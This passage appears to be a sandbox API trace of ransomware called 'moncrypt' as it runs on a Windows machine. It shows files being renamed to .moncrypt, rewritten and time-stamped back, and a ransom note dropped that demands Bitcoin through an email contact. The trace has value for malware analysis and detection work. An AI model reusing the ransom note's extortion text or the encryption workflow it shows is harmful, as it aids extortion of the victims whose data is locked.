lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.309] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.309] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.309] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.309] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.309] GlobalUnlock (hMem=0x44000c) returned 0 [0051.310] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.310] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.310] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.310] GlobalUnlock (hMem=0x44000c) returned 0 [0051.310] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.310] GlobalUnlock (hMem=0x440004) returned 0 [0051.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.311] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.311] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.311] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\") returned 0x41 [0051.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a080, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.311] GlobalLock (hMem=0x440004) returned 0x550170 [0051.311] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.311] GlobalUnlock (hMem=0x440004) returned 0 [0051.311] GlobalLock (hMem=0x440004) returned 0x550170 [0051.311] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.311] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.311] GlobalUnlock (hMem=0x440004) returned 0 [0051.311] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.311] GlobalUnlock (hMem=0x44000c) returned 0 [0051.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.311] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.311] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0051.312] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.312] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.312] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.312] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.312] GlobalUnlock (hMem=0x44000c) returned 0 [0051.312] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.312] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.312] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.312] GlobalUnlock (hMem=0x44000c) returned 0 [0051.312] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.312] GlobalUnlock (hMem=0x440004) returned 0 [0051.312] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.312] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.313] CloseHandle (hObject=0x18c) returned 1 [0051.313] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\я")) returned 1 [0051.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 0x54e240 [0051.314] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.314] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.314] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", dwFileAttributes=0x20) returned 1 [0051.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.moncrypt")) returned 1 [0051.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.317] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.317] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x116dc [0051.317] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.317] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.319] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.319] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.319] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.319] GlobalUnlock (hMem=0x44000c) returned 0 [0051.319] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.319] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.319] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.319] GlobalUnlock (hMem=0x44000c) returned 0 [0051.319] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.319] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.319] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.319] GlobalUnlock (hMem=0x440004) returned 0 [0051.320] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.320] GlobalUnlock (hMem=0x44000c) returned 0 [0051.320] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.320] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.320] GlobalUnlock (hMem=0x44000c) returned 0 [0051.320] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.320] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.320] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.320] GlobalUnlock (hMem=0x44000c) returned 0 [0051.320] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.320] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.320] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.320] SetFilePointer (in: hFile=0x18c, lDistanceToMove=71388, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x116dc [0051.320] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.320] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.320] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.332] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.332] CloseHandle (hObject=0x18c) returned 1 [0051.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.333] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.333] CloseHandle (hObject=0x18c) returned 1 [0051.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.334] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.334] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.334] GlobalUnlock (hMem=0x44000c) returned 0 [0051.334] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.334] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.334] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.334] GlobalUnlock (hMem=0x44000c) returned 0 [0051.334] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.334] GlobalUnlock (hMem=0x440004) returned 0 [0051.334] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.334] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a090, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.334] GetLastError () returned 0x2 [0051.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.336] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.337] CloseHandle (hObject=0x18c) returned 1 [0051.337] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0051.337] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.337] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.337] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.337] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.337] GlobalUnlock (hMem=0x440004) returned 0 [0051.337] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.337] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.337] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.337] GlobalUnlock (hMem=0x440004) returned 0 [0051.337] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.337] GlobalUnlock (hMem=0x44000c) returned 0 [0051.337] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.338] CharLowerBuffW (in: lpsz="DEEPBLUE.INF", cchLength=0xc | out: lpsz="deepblue.inf") returned 0xc [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpUsedDefaultChar=0x0) returned 77 [0051.338] CharLowerBuffW 